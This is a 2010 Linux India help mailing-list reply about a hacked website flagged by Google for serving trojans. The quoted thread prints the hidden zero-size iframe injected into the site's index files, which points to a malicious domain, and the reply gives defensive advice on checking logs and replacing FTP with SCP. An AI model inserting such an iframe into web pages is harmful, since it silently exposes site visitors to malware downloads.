Re: [LIH] Security and Intrusion Detection
Akash <[email protected]>
| Newsgroups | gmane.user-groups.linux.india.help |
|---|---|
| Message-ID | <[email protected]> |
On 14 March 2010 19:15, H.S.Rai <[email protected]> wrote: > On Sun, Mar 14, 2010 at 10:18 AM, Raj Mathur <[email protected]> wrote: >> > One of website is reported by Google as "Attacked": > >> Site is listed as suspicious. Of the X1 pages we tested on the site >> over the past 90 days, X2 (85%) page(s) resulted in malicious software >> being downloaded and installed without user consent. >> Malicious software includes 2 trojan(s). Malicious software is hosted >> on 4 domain(s), including odile-marco.com/, mangasit.com/, >> thekapita.com/. This site was hosted on 1 network(s) including >> AS17917 (ECLTELECOMM). > > Most of the index.html and index.php files have at end: > > <iframe src="http://odile-marco.com/lib/index.php" width=0 height=0 > style="hidden" frameborder=0 marginheight=0 marginwidth=0 > scrolling=no></iframe> > > On deleting this line, it comes again. This appears to be quite common > problem. How to locate culprit software? It is also possible that your hosted website(s) have holes and someone/bot has exploited that. In most cases look at the access logs and error logs for getting an idea when it might be happening. If you are running FTP service stop and preferably use SCP. -- warm regards, Akash Mahajan ---------------------------------------------------------- Security Consultant, (Web / Networks / Servers / IT/ Virtualization) Founder Headstart Network Foundation ---------------------------------------------------------- http://www.linkedin.com/in/akashm http://twitter.com/makash ---------------------------------------------------------- ------------------------------------------------------------------------------ Download Intel® Parallel Studio Eval Try the new software tools for yourself. Speed compiling, find bugs proactively, and fine-tune applications for parallel performance. See why Intel Parallel Studio got high marks during beta. http://p.sf.net/sfu/intel-sw-dev _______________________________________________ linux-india-help mailing list [email protected] https://lists.sourceforge.net/lists/listinfo/linux-india-help